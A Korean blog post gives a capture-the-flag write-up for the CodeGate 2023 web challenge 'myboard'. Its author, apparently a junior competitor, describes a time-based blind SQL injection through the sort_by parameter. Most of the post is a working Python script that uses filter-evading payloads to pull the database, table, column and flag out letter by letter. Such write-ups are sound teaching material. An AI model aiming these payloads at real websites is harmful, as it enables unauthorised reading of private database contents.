One_Blog

CodeGate 2023 Web myboard WriteUp 본문

웹해킹

CodeGate 2023 Web myboard WriteUp

0xOne 2023. 6. 23. 18:40
728x90

웹 해킹을 시작한 지 6개월 째...

 

지난번엔 CCE 본선을 가는데 성공했고 이번엔 코드게이트에서 문제를 푸는데 성공했다.

 

주니어부 26위를 했는데, 전날 밤 안자고 풀었으면 본선 갔을 수 있는데 너무 안타깝다.

 

968점짜리 웹 문제 취약점 찾고 끝났는데, 일단 내가 풀었던 myboard 라이트업을 작성하겠다.

 

원래 사이트에 접속해서 직접 페이로드를 동작시키는 걸 보여주고 싶었는데,

 

시험 공부 + 프로젝트 때문에 라이트업 작성을 미루다가 CTF 사이트가 닫혔다.

 

그래서 그냥 ... 풀이만 올리도록 하겠다.

 

myboard의 경우 글 조회만 가능한 간단한 게시판이 구현되어 있었고,

 

게시글 총 조회 화면에서 sort_by를 통해 sqli가 가능한 취약점이 있었다.

 

사실 말만 들어보면 엄청 간단한데, 첫 솔버가 나오기까지 7시간 가량이 걸렸다.

 

내가 첫 솔버 나오고 40분 후 쯤에 풀었는데, 솔직히 영재원 안갔다왔으면 내가 퍼블 땄을 것 같다.

 

일단 아래는 내가 작성한 풀이 코드이다.

 

import requests
import time
import binascii

url = "http://3.38.182.27/index.php"
dbname = ""
print("Find DB Name...")
Keynum = 1
Break = 0
while 1:
    for j in range(33,129):
        start_time = time.time()
        res = requests.get(url,params={"page":"1", "sort_by":f"If(aScIi(SuBsTr((sElEct/**/DaTaBasE()), {Keynum}, 1))={j}, sLeeP(1), 0)"})
        if res.status_code == 403:
            print("Fuck")
            exit(1)
        end_time = time.time() - start_time
        if int(end_time) >= 2:
            print(j)
            dbname += chr(j)
            print(f"{Keynum} dbname : " + dbname)
            Keynum += 1
            break
        if j == 128:
            print("dbname : " + dbname)
            Break = 1
            break
        else:
            print(f"{chr(j)} is not key")
    if Break == 1:
        break

print("Find Table Name...")
Keynum = 1
Break = 0
tbname =""
while 1:
    for j in range(33,129):
        start_time = time.time()
        res = requests.get(url,params={"page":"1", "sort_by":f"If(aScIi(SuBsTr((SeLeCt table_name FrOm/**/information_schema.tables wHeRe table_schema=database() limit 1,1), {Keynum}, 1))={j}, sleep(2), 0)"})
        if res.status_code == 403:
            print("Fuck")
            exit(1)
        end_time = time.time() - start_time
        if int(end_time) >= 2:
            print(j)
            tbname += chr(j)
            print(f"{Keynum} Tablename : " + tbname)
            Keynum += 1
            break
        if j == 128:
            print("Tablename : " + tbname)
            Break = 1
            break  
        else:
            print(f"{chr(j)} is not key")
            continue
    if Break == 1:
        break


print("Find Column Name...")
Keynum = 1
Break = 0
clname =""
while 1:
    for j in range(33,129):
        start_time = time.time()
        res = requests.get(url,params={"page":"1", "sort_by":f"If(aScIi(SuBsTr((SeLeCt column_name FrOm/**/information_schema.columns wHeRe table_name=(sElEct cOnCaT(CHAR(115), CHAR(117), CHAR(112), CHAR(101), CHAR(114), CHAR(95), CHAR(115), CHAR(101), CHAR(99), CHAR(114), CHAR(101), CHAR(116))) LiMit 0,1), {Keynum}, 1))={j}, sleep(2), 0)"})
        if res.status_code == 403:
            print("Fuck")
            exit(1)
        end_time = time.time() - start_time
        if int(end_time) >= 2:
            print(j)
            clname += chr(j)
            print(f"{Keynum} Column name : " + clname)
            Keynum += 1
            break
        if j == 128:
            print("Column name : " + clname)
            Break = 1
            break  
        else:
            print(f"{chr(j)} is not key")
            continue
    if Break == 1:
        break
    
print("Find Flag...")
Keynum = 1
Break = 0
flag =""
while 1:
    for j in range(33,129):
        start_time = time.time()
        res = requests.get(url,params={"page":"1", "sort_by":f"iF(AsCiI(SuBsTr((SeLeCt `secret_flag` FROM `super_secret` LimIt 0,1), {Keynum}, 1))={j}, SleEp(1), 0)"})
        if res.status_code == 403:
            print("Fuck")
            exit(1)
        end_time = time.time() - start_time
        if int(end_time) >= 1:
            print(j)
            flag += chr(j)
            print(f"{Keynum} flag : " + flag)
            Keynum += 1
            break
        if j == 128:
            print(f"Flag is {flag}")
            break  
        else:
            print(f"{chr(j)} is not key")
            continue
    if Break == 1:
        break

 

맨 위부터 차례로 DB Name, Table Name, Column Name, Data를 인출해내는 코드인데,

 

솔직히 Table Name 추출할 때 DB Name을 안쓰고 database() 함수를 사용해서

 

DB Name을 추출하지 않아도 문제를 풀 수 있었다.

 

아무튼 간에 sort_by에 Time Based Blind Sqli를 하는 문제였는데, 시험 공부 하러 가야해서 여기까지만 작성하겠다.

 

끝~ 다음엔 CCE 라업 올려야징